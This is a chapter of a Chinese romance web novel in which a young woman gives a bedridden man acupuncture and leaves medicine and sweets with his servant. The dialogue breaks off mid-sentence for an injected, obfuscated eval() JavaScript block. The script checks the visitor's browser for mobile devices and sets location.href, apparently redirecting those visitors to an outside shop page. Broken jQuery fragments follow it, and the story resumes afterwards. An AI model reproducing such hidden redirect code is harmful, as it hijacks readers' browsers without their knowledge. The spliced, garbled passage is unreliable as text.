针头用酒精擦拭过,然后扫过蜡烛的火焰。
林昭脑海里回忆着在父亲书房看到的那些医书穴位。
悬钟穴、阳陵泉穴、环跳穴、足三里穴,这几处针对下肢麻痹之症[1]。
她凝下神,掀开被子,在陆青辞的腿上施针,最后的环跳穴在臀部。
陆青辞察觉到衣物被掀开,耳根的红色一直蔓延到了脸颊,他把脸颊埋在枕头里,一声不吭。
“陆公子,可有感觉到不适?”
“略微发麻。”
那就是有效果了。
每隔半小时,林昭就捻一下针,问他感觉如何,由此来调整针的角度。
等完全施针结束,陆青辞额前都冒了细汗,不知是羞得还是疼的。
林昭一边收回针清洗好,一边告诉阿四按摩哪些穴位可以有助于血液循环和伤口恢复。
阿四细细听着那些专业的名称,眼睛瞪大,他现在才彻底明白,这三小姐不是什么傻子。眼前的人目光沉静凝聚,分明不是平日里的那般痴傻。
“陆公子的伤口已经长好,那些凝血的药草可以停了,换上这些化瘀祛湿的药,每日早晚一副便可。”
林昭把药包递给他,又怕他记不住,在上面写了如何熬煮和服用几次。
阿四眼底冒出敬佩的光,朝她鞠躬:“多谢林姑娘。”
这还是他第一次这么称呼她。
林昭笑了下,看了一眼还闷声不吭的陆青辞,正准备跟着阿四一道离开房间。
“林姑娘,请留步。”
闷哑的声音从被子里传来。
陆青辞见阿四走了,低声问:“姑娘是如何懂得这些的?普通学医的弟子苦读医书十余载,练习施针也要许久,你如此知晓,难不成你在谁身上试过?”
那倒没有,只是她小时候跟着爸爸在穴位小人身上试过,真人还是头一次。
林昭摇头:“我也是第一次施针,刚刚紧张得差点手抖,公子不介意我是个新手便好。”
“你能帮我,我已万分感激,何来介意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16854666|191635||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
”
“以后每隔两日,我会来给你施针一次,你先好好歇息,我走了。”
湖蓝色的身影从门口离开,陆青辞淡淡得收回目光。
刚刚他趴在床上的时候,本来还有些忐忑,但随着腿部传来又麻又痛的感觉,他十分惊喜。同时,他意识到她是不是也给别人施针过。
那她也会看光别人的身子吗?
这么想着,陆青辞埋在枕头上,心情有些郁闷。
刚刚得到她的回答,他心头的烦闷瞬间消失了。
室内静了下来。
阿四进来帮陆青辞穿好衣服,他靠在床边,嗅着屋外传来淡淡的药香味,余光瞥见桌上的药包旁边还有一包东西。
“阿四,那是何物?”
“是栗子糖和茶酥,林姑娘买的。”阿四拿过来给他看,“林姑娘大概不知道公子不喜甜食,要不我先收起来?”
“不必,给我吧。”
陆青辞拿了一块茶酥放进嘴里,甜而不腻,确实好吃。